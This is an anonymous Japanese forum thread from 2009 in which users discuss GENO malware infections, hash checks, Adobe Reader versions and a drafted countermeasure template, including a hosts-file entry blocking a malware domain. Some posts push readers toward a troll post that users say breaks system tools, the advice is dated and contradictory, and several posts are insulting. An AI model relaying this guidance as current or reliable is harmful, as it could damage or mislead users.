ドメインごちゃまんと追加されてるよ、きっと


128:名無しさん@お腹いっぱい。
09/05/28 11:05:33
ようつべの動画にリンク貼ったりしない方がいいのでしょうか

129:名無しさん@お腹いっぱい。
09/05/28 11:42:30
つべやにこにこは、ほぼ最新ver.のFlash Player
でないと見られないんじゃないかな
逆に言うと、見られる人はFlash Playerから
感染する可能性が少ない
投稿された動画自体が汚染されてる可能性は、
自分にはわからない

問題はacrobatよな
告知情報見るまで、acrobat readerにjs使えるなんて
知らなかったものw

130:名無しさん@お腹いっぱい。
09/05/28 11:57:23
>>129

ありがとうございました。

131:名無しさん@お腹いっぱい。
09/05/28 12:09:49
こう言う自己判断できない屑が動画サイト使うから動画サイト=キチガイと厨の巣、犯罪者予備軍の巣と言う感じ

132:名無しさん@お腹いっぱい。
09/05/28 12:25:35
日本は、いやアジアは、いや地球はキチガイと厨の巣、犯罪者予備軍の巣だな

133:名無しさん@お腹いっぱい。
09/05/28 12:28:56
>>132
あなたの祖国と日本を一緒にしないでいただきたい

134:名無しさん@お腹いっぱい。
09/05/28 12:37:26
>>60やったらregeditやcmdが起動しなくなりました
さらにexplorerも起動しなくなりデスクトップには壁紙だけしか表示されなくなりました
osはvistaです

ちなみにデスクトップの壁紙は外人ニューハーフの裸体(完全無修正)で
アイコンをぎっしり詰めて分からない様にカモフラージュしてました

135:名無しさん@お腹いっぱい。
09/05/28 12:41:17
12点

136:134
09/05/28 12:52:55
自己解決しました。

137:名無しさん@お腹いっぱい。
09/05/28 13:19:47
次スレいらないな。

138:名無しさん@お腹いっぱい。
09/05/28 13:28:03
GENO社員乙

139:名無しさん@お腹いっぱい。
09/05/28 13:38:59
携帯でGENOウイルスのURL踏んじゃったんだけど、
携帯にも影響あるの?

140:名無しさん@お腹いっぱい。
09/05/28 13:44:03
>>139
クリーンインストール

141:名無しさん@お腹いっぱい。
09/05/28 13:49:03
おいおまいら

俺のケツの穴見たいか?
糞ひねり出すとこ見たいか?

142:名無しさん@お腹いっぱい。
09/05/28 13:49:08
>>140
え、あるの・・・?
データ流出とかはないよな・・・

143:名無しさん@お腹いっぱい。
09/05/28 14:27:45
>>142

>>140
> え、あるの・・・?
> データ流出とかはないよな・・・

144:名無しさん@お腹いっぱい。
09/05/28 14:28:30
cmc確認、regedit確認、sqlsodbc.chmのファイルサイズ確認
nortonは普通に起動している、windowsupdateにもアクセス可能。
symantecにもアクセスできる。MD5も一致した。

問題なしですよね?

145:名無しさん@お腹いっぱい。
09/05/28 14:42:22
asahi.com(朝日新聞社)

新マルウエア「GENOウイルス」蔓延に注意(1/3ページ)
URLリンク(www.asahi.com)

146:名無しさん@お腹いっぱい。
09/05/28 15:46:39
いまだに騒いでるのは同人屋だけだと思ってた

147:名無しさん@お腹いっぱい。
09/05/28 16:08:49
>>144
不安があるならクリーンインストール

148:名無しさん@お腹いっぱい。
09/05/28 16:24:15
「GENOウイルス」

朝日新聞社のお墨付き

149:名無しさん@お腹いっぱい。
09/05/28 16:28:56
>>144
そこまで確認して不安ならOS再インスコ汁

150:名無しさん@お腹いっぱい。
09/05/28 16:43:50
終了

151:名無しさん@お腹いっぱい。
09/05/28 16:44:17
まだまだ続くよ~!

152:名無しさん@お腹いっぱい。
09/05/28 17:11:01
Windows2000の場合でも、
Visual Studio 6 SP5 以降のバージョン、Microsoft SQL Server 2000、.NetFramework 1.1
等がインストールされている場合にはMDAC 2.6~2.8 がインストールされているので
sqlsodbc.chm が存在する。
Office 2003をインストールしている場合もsqlsodbc.chm が存在してる可能性が有り。


通常は、Windows2000には同じsqlsodbcでもchmファイルではなく、 hlpファイルが常時存在し、
こちらは16.7 KB (17148 バイト) 、MD5:3177C8154F1011535FDD1B1B30D3D2E9

50727バイトじゃない!MD5:F639AFDE02547603A3D3930EE4BF8C12じゃない!感染してる!
と勘違いしてクリーンインストールしちゃった人が多そう・・・


153:名無しさん@お腹いっぱい。
09/05/28 17:22:01
>>152
chmファイルとhlpを見間違うのはマヌケ
クリーンインストールも止むを得なす

154:名無しさん@お腹いっぱい。
09/05/28 17:27:10
cmd、regeditが起動できてsqlsodbc.chmも改変されてなくて
特定のサイトにアクセスできないんだけどこれって感染してる
あと隠しファイルも表示できない

155:名無しさん@お腹いっぱい。
09/05/28 17:28:55
>>154
あたしエスパーだけどOS入れなおせばおk

156:名無しさん@お腹いっぱい。
09/05/28 17:31:26
今やってる

157:名無しさん@お腹いっぱい。
09/05/28 17:39:03
>>154
面倒だからOS再インスコ

158:名無しさん@お腹いっぱい。
09/05/28 17:49:16
さっきまで、まとめサイトのメニューに「稲川淳二」って項目があったけど、なんだったんだろう。

159:名無しさん@お腹いっぱい。
09/05/28 17:51:09
>>158
なにそれ?w なんで稲川淳二が・・・

160:名無しさん@お腹いっぱい。
09/05/28 18:01:48
バスターがアップデートできないんだけど…
これもGENO?

161:名無しさん@お腹いっぱい。
09/05/28 18:06:08
>>154
以前からそうならルータの問題の可能性も有

162:名無しさん@お腹いっぱい。
09/05/28 18:12:24
先週再インスコした時は平気だった

163:名無しさん@お腹いっぱい。
09/05/28 18:15:08
>>160
聞く前にちゃんと自分で調べようぜ!


164:名無しさん@お腹いっぱい。
09/05/28 18:46:38
>>160
期限切れてるんじゃね

165:名無しさん@お腹いっぱい。
09/05/28 19:27:47
新マルウエア「GENOウイルス」蔓延に注意(1/3ページ)
URLリンク(www.asahi.com)


166:名無しさん@お腹いっぱい。
09/05/28 20:23:14
GENOウイルス何って4月ごろに騒いでた奴だろ?

亜種も出て随分たってるのに
いまだに新マルウエアとか言ってるのか…

167:名無しさん@お腹いっぱい。
09/05/28 20:38:19
>>154
会社でフィルタリングかけてんじゃね

168:名無しさん@お腹いっぱい。
09/05/28 20:49:02
はいはいhostsファイル見て
トレンドマイクロがブロックされてたら
削ってね~

169:名無しさん@お腹いっぱい。
09/05/28 22:56:40
終わったね

170:名無しさん@お腹いっぱい。
09/05/28 23:01:47
まだまだ続くよ~!
と言いたいけど終わったね

171:名無しさん@お腹いっぱい。
09/05/28 23:07:32
今回を機にセキュリティーに目覚めたっつか、自分のPCを見つめ直す
機会にはなったんじゃないかな
操ってるのはあくまでも『人間』なんだしな

172:名無しさん@お腹いっぱい。
09/05/28 23:30:24
obfuscationがさらに高度になってきてるな

173:名無しさん@お腹いっぱい。
09/05/28 23:33:14
そうかそうか

174:名無しさん@お腹いっぱい。
09/05/28 23:54:18
ヴィスタだけどCPU使用率が異常なことになってる
これやばくないか

175:名無しさん@お腹いっぱい。
09/05/28 23:58:18
低スペック+AERO有効

176:名無しさん@お腹いっぱい。
09/05/28 23:59:44
ははっ わろす

177:名無しさん@お腹いっぱい。
09/05/29 00:00:23
いや今まで使用率なんて何も触ってなけりゃ3%前後なのに
常にコア1が90%ぐらいになってる

178:名無しさん@お腹いっぱい。
09/05/29 00:01:09
見に覚えがないなら(UAC無視してないなら)
sqlsodbc確認、ウィルススキャン&HijackThisのようなソフトで起動プロセスチェックして
問題なければ再起動して様子を見る

179:名無しさん@お腹いっぱい。
09/05/29 00:02:28
アンチウィルスFWソフトもたまに暴走するからな
例えば、ウィルスバスターとかウィルスバスターとかウィルスバスターとか!

180:名無しさん@お腹いっぱい。
09/05/29 00:07:08
バスターは自分をバスターし始める

181:名無しさん@お腹いっぱい。
09/05/29 00:07:34
ウィルスバスターかもしれんw

>>178
sqlsodbcってVistaに存在してる?

182:名無しさん@お腹いっぱい。
09/05/29 00:09:26
>>181
>>90

183:名無しさん@お腹いっぱい。
09/05/29 00:13:08
システムファイルの発見はCドライブごと検索するようこころがけるだけでこんなつまらんレスはなくなるだろう

184:名無しさん@お腹いっぱい。
09/05/29 00:16:09
始まったな

185:名無しさん@お腹いっぱい。
09/05/29 00:19:26
>>131
お前は人間失格だな
少しは>>127さんを見習え

186:名無しさん@お腹いっぱい。
09/05/29 00:21:55
掘り返すなよ・・

187:172
09/05/29 00:22:49
いやあ、俺の発見したサイトはユーザーブロッキング機能によって
2度目の攻撃は行わないようになってたわ
察知されにくいようにしてるな


188:名無しさん@お腹いっぱい。
09/05/29 00:24:23
ウイルスバスターって人気ですね!

189:名無しさん@お腹いっぱい。
09/05/29 00:25:45
人気ですが、何か

190:名無しさん@お腹いっぱい。
09/05/29 00:27:30
バスター?

妨害攻撃で撃沈されてしまうけどね

191:172
09/05/29 01:06:32
いやあ、入手した検体アンチオンラインスキャン、アンチリバースエンジニアリング、
アンチVMなどのアンチ仮想環境すべてかかってるわ

192:名無しさん@お腹いっぱい。
09/05/29 01:15:02
感染して、先ほどリカバリした漏れです。

ふと思ったんだけれど、ファイアウォール導入してもGENOには無効?

193:名無しさん@お腹いっぱい。
09/05/29 01:16:08
終了

194:名無しさん@お腹いっぱい。
09/05/29 01:26:01


195:172
09/05/29 01:55:46
>>192
うん、無効

HIPS入れてかろうじて何とかなるかならないか

196:名無しさん@お腹いっぱい。
09/05/29 03:11:32
誰でも出来る簡単な対策

Vista使いましょう

197:名無しさん@お腹いっぱい。
09/05/29 03:21:53
つーか、使ってるAdobeを最新にしていればとりあえず今は大丈夫なんでそ?

198:名無しさん@お腹いっぱい。
09/05/29 03:24:44
あとjsの無効
jsでとばされる先の感染サイトがあったドメインへの
アクセス制限(暫定)

199:名無しさん@お腹いっぱい。
09/05/29 03:27:36
それは、Adobe Readerのjavascript設定限定での話?
それともブラウザ自体のscriptも常時切らないと駄目なのか(切らないと完全アウトかどうか)?

200:名無しさん@お腹いっぱい。
09/05/29 03:32:54
>>199
>>1

201:名無しさん@お腹いっぱい。
09/05/29 03:38:31
テンプレは特定のブラウザの導入とPDF、flashとjsの無効を推奨しているように見えるし不便過ぎる(firefoxが何たらの項。)
もう感染してもいいから自分のお気に入りのサイトくらいは許可するよ
楽天で個人情報既に抜かれてるし自サイト(ブログ放置くらい)、カードないし別にいいや

202:名無しさん@お腹いっぱい。
09/05/29 03:41:52
>>199
現在のところはAdobe Reader側だけでOK。
ブラウザ側も保険として勧められているだけ。

203:名無しさん@お腹いっぱい。
09/05/29 03:55:54
Genoよりエロゲ規制の方が数倍恐いわ

204:名無しさん@お腹いっぱい。
09/05/29 04:17:35
ここ ↓ やられてるのかな?反応して遮断するんだけど、「ハリスの太さ」で検索してたらあった。

グレ、チヌの視力でハリスは見えるのかとマキエの摂取量
URLリンク(www.geocities.co.jp)

205:名無しさん@お腹いっぱい。
09/05/29 04:27:07
>>204
やられてるねえ
martuz●cn行き

206:名無しさん@お腹いっぱい。
09/05/29 04:31:38
martuzは停止してるんじゃなかったっけ

207:名無しさん@お腹いっぱい。
09/05/29 04:34:09
たぶんね
改竄されてるかどうかとは関係ないけど

208:204
09/05/29 04:50:53
そうなんだ、やられていたか
俺みたいに行動範囲の狭い人間ですらぶち当たるってことは
相当ひどいってことだな
こりゃ気をつけにゃいかんわ
ありがと



209:名無しさん@お腹いっぱい。
09/05/29 05:34:33
見つけたんだったらここで報告するより
サイト管理者に連絡してあげたらいいのに
何がしたいんだ

ま、まさか 釣り とか

210:名無しさん@お腹いっぱい。
09/05/29 05:39:18
■ adobe javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→adobe javascriptを使用のチェックを外す

↑これは英語版ではどこをどう選んだらいいのでしょうか?
adobe reader9入れてから日本語パッチあてたり出来るんでしょうか?

211:210
09/05/29 06:04:19
日本語版入れなおしました
adobe javascript=acrobat javascriptでおkなのでしょうか?
adobe javascriptなる項目が存在せずacrobat javascriptというのがあるのですが

212:210
09/05/29 06:38:37
自己りますた

213:名無しさん@お腹いっぱい。
09/05/29 07:26:49
>>201
こうゆうヤツが普通にいるからネットは免許制&過失罪制度が必要なんだよ
自分の利便性最優先とか、どんだけ非社会的なんだよ


214:名無しさん@お腹いっぱい。
09/05/29 07:33:28
yabeeeesqlsodbc.chmが0byteになってた
ちゃんと最新のに変えてjavaも切ってたのに何でだ


215:名無しさん@お腹いっぱい。
09/05/29 07:41:16
0byte化報告は前にもみたな
genoっていうか、別物に感染したんじゃないか?

216:名無しさん@お腹いっぱい。
09/05/29 08:49:10
acrobatやflashの脆弱性を付いてクラッシュさせることで初めてパスなんかを盗むウィルスなんだから
JAVAスクリプトがONかOFFかはあんまり関係なさそうだな

217:名無しさん@お腹いっぱい。
09/05/29 08:56:37
>>216
クラッシュはsniffing動作と関係ないだろ。

218:名無しさん@お腹いっぱい。
09/05/29 08:57:59
クラッシュさせるサイトにとばすのに
js使ってるんでないの?
だからFireFoxのリンク先の画像先読みする機能を
オフにする話が出ると思った

219:名無しさん@お腹いっぱい。
09/05/29 09:20:31
修正案
■ adobe readerを9.1.0にアップデートする
とりあえず最新版にしましょう。



220:名無しさん@お腹いっぱい。
09/05/29 09:24:47
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

221:名無しさん@お腹いっぱい。
09/05/29 09:40:08
以上でGENOは防げるが亜種等のため以下推奨
■ adobe javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→adobe javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」

222:名無しさん@お腹いっぱい。
09/05/29 09:42:18
動画サイトは見ない方が良いのか

223:名無しさん@お腹いっぱい。
09/05/29 09:49:57
対策してればどんどんみれ

224:名無しさん@お腹いっぱい。
09/05/29 09:52:19
Noscriptでjsを一時的に許可にしないと動画見れないし

225:名無しさん@お腹いっぱい。
09/05/29 09:58:18
■ hostsファイル書き換え
はいらんなmartuzはしんでる
感染するなら他のアドレスだしそれの予測は困難
この書き換えでブロックしようってのは現実的じゃない

226:名無しさん@お腹いっぱい。
09/05/29 10:01:32
むしろ、新しい感染先が分かったら
その都度どんどん書き加えていけばと思う

227:名無しさん@お腹いっぱい。
09/05/29 10:14:41
QTにも脆弱性見つかってるから近い内導入される悪寒

228:名無しさん@お腹いっぱい。
09/05/29 10:59:26
新マルウエア「GENOウイルス」蔓延に注意(1/3ページ)
URLリンク(www.asahi.com)


229:名無しさん@お腹いっぱい。
09/05/29 11:21:15
まともな文章だが

230:名無しさん@お腹いっぱい。
09/05/29 11:26:30
ウィルスではなく、ウイルスなのは知ってるが、マルウェアがマルウエアだとは知らなかったなwww

231:名無しさん@お腹いっぱい。
09/05/29 11:32:22
所詮英語だからどう書こうがいい



232:名無しさん@お腹いっぱい。
09/05/29 11:33:34
>>231
ウィルスは英語読みじゃないぞ。

233:名無しさん@お腹いっぱい。
09/05/29 11:34:52
ビールスしかみとめません

234:名無しさん@お腹いっぱい。
09/05/29 11:37:38
小さいィェォは大きく書くこと多い
ウィルス→ウイルス
フィルム→フイルム
トェェェェイ→トエエエエイ

235:名無しさん@お腹いっぱい。
09/05/29 11:38:09
ヴァイラスで

236:名無しさん@お腹いっぱい。
09/05/29 12:28:46
新しい感染先は
netstatでわかんねーかな
セッション貼られてるの一瞬かなー

237:名無しさん@お腹いっぱい。
09/05/29 13:14:36
URLリンク(search.yahoo.co.jp)
この検索で出るサイト、トップ頁以外1000%だな。ソースも確認したが、黒。

結構有名なエロ小説サイトだからヤバイと思うわ。エロ小説サイトめぐりが趣味な人は気をつけろ。


238:名無しさん@お腹いっぱい。
09/05/29 13:33:40
adobe javascriptはadobe readerを9.1.1にはないから...

239:名無しさん@お腹いっぱい。
09/05/29 13:42:54
無理せずに英語で書いていいぞ

240:名無しさん@お腹いっぱい。
09/05/29 13:44:11
>>239
いやああ~~~

241:名無しさん@お腹いっぱい。
09/05/29 13:57:42
sqlsodbc.chmが0byteになってたんでハッシュ値を確認しようと思ったらファイル自体が破損してるのか確認すら出来なかった
Windows Updateにも繋がるしアンチウィルスもしっかり更新できる、cmdもregeditも立ち上がるし、そもそもadobe関連は全部最新のものに変えているしjavaは切ってある
一応カスペとNODとavastで別種のウィルスかと検索してみたがgenoは元よりナニも検出されない
一体なんだったんだろう おしえておじいさん

242:名無しさん@お腹いっぱい。
09/05/29 14:14:37
Java≠JavaScript

243:名無しさん@お腹いっぱい。
09/05/29 14:18:07
JavaとJavaScriptを混同してる奴を見ると、鼻の穴にパチンコ玉を突っ込んで
やりたくなるよな。それも両方の穴に3つずつ、奥までみっちり詰め込んで
やりたい。

244:名無しさん@お腹いっぱい。
09/05/29 14:20:13
>>243
いいから次スレはテンプレ修正しとけってw

245:名無しさん@お腹いっぱい。
09/05/29 14:29:38
そこまでやって、hostsファイルの改ざんだけは
頑なに調べないのは何でだろう

246:名無しさん@お腹いっぱい。
09/05/29 14:41:06
>>204
危ないから運営に通報しといたよ

247:名無しさん@お腹いっぱい。
09/05/29 14:49:42
困った時は>>60
事前予防は>>60

248:名無しさん@お腹いっぱい。
09/05/29 14:50:35
キチガイが起きてきたみたいだな

249:名無しさん@お腹いっぱい。
09/05/29 15:21:50
※>60は実行しないでください。

250:名無しさん@お腹いっぱい。
09/05/29 15:26:46
病気にかからない方法の一つ
・あらかじめ死んでおく
ってことかなw

251:名無しさん@お腹いっぱい。
09/05/29 16:27:07
2ヶ月前amzonに注文したブツが一昨日か昨日が配送予定日になってるのに
確認メールが来なかった忘れてるのだろうか・・それとももしや・・

252:名無しさん@お腹いっぱい。
09/05/29 16:32:36
>>251
私がおいしく頂きました。

253:名無しさん@お腹いっぱい。
09/05/29 16:33:16
amazonは問題ないが、、ほしいものリストは罠なので気をつけるように

254:名無しさん@お腹いっぱい。
09/05/29 17:31:42
1修正案

■ adobe readerを9.1.0にアップデートする
URLリンク(get.adobe.com)
 とりあえず最新版にしましょう。
 インストール後本体をアップデートしておく事
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

以上でGENOは防げるが亜種等のため以下推奨
■ adobe javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→adobe javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)

優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」
これで900程度で次立てる
チェッカーはアフィとか以前に嘘を直すまでは外す
(readerのバージョン、フラッシュのリンク)
>>6

255:名無しさん@お腹いっぱい。
09/05/29 18:21:54
>>254
GJ。賛同です。

256:名無しさん@お腹いっぱい。
09/05/29 18:30:20
>>2の確認方法じゃ危険なの?

257:名無しさん@お腹いっぱい。
09/05/29 18:47:11
>>254
adobe javascript→acrobat javascript

258:名無しさん@お腹いっぱい。
09/05/29 18:50:13
最近、楽天にしか登録してないメールアドレスにスパムが届くという話があるが
GENOウィルスが騒がれだしたのは楽天にショップがある所からだよね?
メールアドレスも抜き出すんじゃないのコレ?

259:名無しさん@お腹いっぱい。
09/05/29 18:53:08
いつのスレかは忘れたが、不発のときに、コマンドの起動がトリガーになり得る
という話はあった。確認方法は>>3が確実なら、それで十分なのでは。

260:名無しさん@お腹いっぱい。
09/05/29 19:10:53
結局genoウイルスチェッカーは信頼できないんか

261:名無しさん@お腹いっぱい。
09/05/29 19:11:01
cmd、regeditでトリガーって
もう既に不発じゃないいんじゃない

262:名無しさん@お腹いっぱい。
09/05/29 19:12:30
100%で確実じゃないとか頭おかしいでしょ

263:名無しさん@お腹いっぱい。
09/05/29 19:15:00
>>254
Adobe Readerの最新版は9.1.1だろ。

264:名無しさん@お腹いっぱい。
09/05/29 19:19:09
>>6
9.1.0でGENOの対処は終わってます
最新版は将来変わるので
バージョンは書かないで最新版にあげろとだけで

265:名無しさん@お腹いっぱい。
09/05/29 19:20:20
>>264
adobe javascript→acrobat javascriptにいい加減書き換えろボケ

266:名無しさん@お腹いっぱい。
09/05/29 19:21:10
hostsに追加おまけリスト(127.0.0.1 martuz.cnも入ってるよん)
URLリンク(www1.axfc.net)
DL:GENO

267:名無しさん@お腹いっぱい。
09/05/29 19:22:30
1修正案

■ adobe readerを最新版にアップデートする
URLリンク(get.adobe.com)
 とりあえず最新版にしましょう。
 インストール後本体をアップデートしておく事
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

以上でGENOは防げるが亜種等のため以下推奨
■ acrobat javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→acrobat javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)

優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」
これで900程度で次立てる
チェッカーはアフィとか以前に嘘を直すまでは外す
(readerのバージョン、フラッシュのリンク)
>>6

268:名無しさん@お腹いっぱい。
09/05/29 19:34:36
>>263
だね 手動でupdateしないと9.1.1にならないよね

269:名無しさん@お腹いっぱい。
09/05/29 19:34:44
>>254,>>267
9.1.0になるのでアップデートかけて9.1.1にしろと書いとけよ > Reader

270:名無しさん@お腹いっぱい。
09/05/29 19:43:02
9.1.0でGENOの対処は終わってます

271:名無しさん@お腹いっぱい。
09/05/29 19:44:09
>>270
終わってないぜ。9.1.1にしないと無意味。

272:名無しさん@お腹いっぱい。
09/05/29 19:44:57
終わってる
まとめでなんでこんなデマ書いてんだか

273:名無しさん@お腹いっぱい。
09/05/29 19:47:54
どっちだ?最新は9.1.1なんだから、それでいいじゃん

274:名無しさん@お腹いっぱい。
09/05/29 19:48:08
15 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2009/05/23(土) 04:04:44
URLリンク(www.ipa.go.jp)
このバグなら 9.1.0で修正済み
9.1.0では駄目ってのはどっからでてきたわけ

16 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2009/05/23(土) 04:09:49
genoが突いてくるセキュリティホールは9.1.0で直ってるよ
9.1.1は別のセキュリティホール

275:名無しさん@お腹いっぱい。
09/05/29 19:51:08
1修正案

■ adobe readerを最新版にアップデートする
URLリンク(get.adobe.com)
 とりあえず最新版にしましょう。
 インストール後本体をアップデートしておく事
 adobe readerを開いて ヘルプ→アップデートの有無をチェック
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

以上でGENOは防げるが亜種等のため以下推奨
■ acrobat javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→acrobat javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)

優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」

276:名無しさん@お腹いっぱい。
09/05/29 19:55:38
どこまでGENOというかだが
9.1.0にある脆弱性ついたのまだないのかな
とりあえず最新版にしとけでいい
バージョン表記はいらん

277:名無しさん@お腹いっぱい。
09/05/29 20:02:20
同感

278:名無しさん@お腹いっぱい。
09/05/29 20:02:29
>>275
おつかれさまでした

279:名無しさん@お腹いっぱい。
09/05/29 20:05:47
Adobe製品なぞ全削除推奨


280:名無しさん@お腹いっぱい。
09/05/29 20:06:27
PDFは妥協するとしてFlashはさすがに無理無理

281:名無しさん@お腹いっぱい。
09/05/29 20:07:10
1修正案

■ adobe readerを最新版にアップデートする
URLリンク(get.adobe.com)
 とりあえず最新版にしましょう。
 インストール後本体をアップデートしておく事
 adobe readerを開いて ヘルプ→アップデートの有無をチェック
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

以上でGENOは防げるが亜種等のため以下推奨
■ acrobat javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→acrobat javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)

優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」

hostsに追加おまけリスト(127.0.0.1 martuz.cnも入ってるよん)
URLリンク(www1.axfc.net)
DL:GENO

282:名無しさん@お腹いっぱい。
09/05/29 20:11:21
追加>60

283:名無しさん@お腹いっぱい。
09/05/29 20:13:44
shine

284:名無しさん@お腹いっぱい。
09/05/29 20:31:05
>>276
それだと自称最新版ちゃんが出てきちゃうから
バージョン表記は必要だとおもうよ

285:名無しさん@お腹いっぱい。
09/05/29 20:33:41
9.1.1が最新だーよ

286:名無しさん@お腹いっぱい。
09/05/29 20:37:49
そうあるよ

287:名無しさん@お腹いっぱい。
09/05/29 20:49:15
URLリンク(www.jsports.co.jp)

288:名無しさん@お腹いっぱい。
09/05/29 20:53:08
>>284
>インストール後本体をアップデートしておく事
>adobe readerを開いて ヘルプ→アップデートの有無をチェック

↑がテンプレ修正案に入ってるからバージョン表記は無くていいよ。

289:名無しさん@お腹いっぱい。
09/05/29 21:14:35
また特定のサイトにアクセスできなくなった昨日再インスコしたばっかりなのに

290:名無しさん@お腹いっぱい。
09/05/29 21:20:47
>>289
>>60を実行するんだ

291:名無しさん@お腹いっぱい。
09/05/29 21:27:44
Adobe Readerはインストール時にReader SpeedUpで
広告からスクリプト関連まですべて削除しとくといい。
あとで必要になったらデフォルト状態にすぐに戻せるし
起動も読み込みも爆速になる

292:名無しさん@お腹いっぱい。
09/05/29 21:33:31
9系は起動遅くないような

293:名無しさん@お腹いっぱい。
09/05/29 21:44:21
>>254
adobe readerの最新版入れたはずなんですが9.1.1になってるのっておかしいですか

294:名無しさん@お腹いっぱい。
09/05/29 21:45:54
マトリックスゴイ

295:名無しさん@お腹いっぱい。
09/05/29 21:57:01
あああすみませんレス読んだらちゃんと最新版ってありました

296:名無しさん@お腹いっぱい。
09/05/29 22:11:04
>Vistaの人はは

コレなんで直さないの

297:名無しさん@お腹いっぱい。
09/05/29 22:11:58


298:名無しさん@お腹いっぱい。
09/05/29 22:14:18
>>296
文章の検討が十分でないことを意識してもらい、
気を緩めず、緊張感を持って読んでもらうため

299:名無しさん@お腹いっぱい。
09/05/29 22:15:31
チェッカーの人は一応まだ生きてたんだなw
微妙に記述が変わってる

300:名無しさん@お腹いっぱい。
09/05/29 22:25:18
>>296
りすぺくつですよ

301:名無しさん@お腹いっぱい。
09/05/29 22:27:19
しつこくテンプレやってたのはアフィチェッカーの奴なのか

302:名無しさん@お腹いっぱい。
09/05/29 22:27:36
検出できるの今avastだけなの?

303:名無しさん@お腹いっぱい。
09/05/29 22:41:18
次スレ立てる人テンプレだけでもトリつけて4辺りにレジストリ改変させようとする
キチガイが常駐してることも書いといたほうがいいかも

304:名無しさん@お腹いっぱい。
09/05/29 22:46:59
GENOウイルスチェッカーも個人的にはウイルと同等
アフィ野郎は死ね

305:名無しさん@お腹いっぱい。
09/05/29 22:48:37
ウイル

306:名無しさん@お腹いっぱい。
09/05/29 22:49:28
>>301
それを知る為にもテンプレ書く奴はトリつけて欲しいよな

307:名無しさん@お腹いっぱい。
09/05/29 23:01:00
テンプレでチェッカー外そうとしてるのに
アフィチェッカーの奴なわけない

308:名無しさん@お腹いっぱい。
09/05/29 23:08:41
そろそろアフィチェッカーはテンプレから外すべきだな
で、身元割れ
なにしれーっとアフィ仕込んでやがる

309:名無しさん@お腹いっぱい。
09/05/29 23:09:37
前スレで外したのにわざわざ復活さしたからな


310:名無しさん@お腹いっぱい。
09/05/29 23:10:21
復活さした

311:名無しさん@お腹いっぱい。
09/05/29 23:12:59
チェッカーの中の人もアンチ(っていうかアフィ厨)も必死

312:名無しさん@お腹いっぱい。
09/05/29 23:19:00
どうやら、このスレには海外の方が多いみたい

313:名無しさん@お腹いっぱい。
09/05/29 23:20:49
とにかくせめてフラッシュの記述だけは修正しないと
これで大丈夫だと思って引っかかるIEの奴がいるだろ
アフィチェッカいい加減直せよ

314:名無しさん@お腹いっぱい。
09/05/29 23:25:01
PCJ○PANに対策が載っていたけど、目新しい事は載っていなかった。まとめに書いてあることとだいたい同じ。

315:名無しさん@お腹いっぱい。
09/05/29 23:25:30
googleだと「コンピュータに損害を与える可能性がある」と表示してくれるけど
Yahooは何も表示されないから怖くて使えない

316:名無しさん@お腹いっぱい。
09/05/29 23:30:53
現verのノートンにnortonセーフウェブなる保護機能(検索エンジン結果の拡張対応)が付いてるが
あれは使い物になるのか?
有効にしていると常時、ノートン鯖にアクセスするから重くなるだけのような気がするんだが

317:名無しさん@お腹いっぱい。
09/05/29 23:33:49
少しはね

318:名無しさん@お腹いっぱい。
09/05/29 23:51:33
>>316
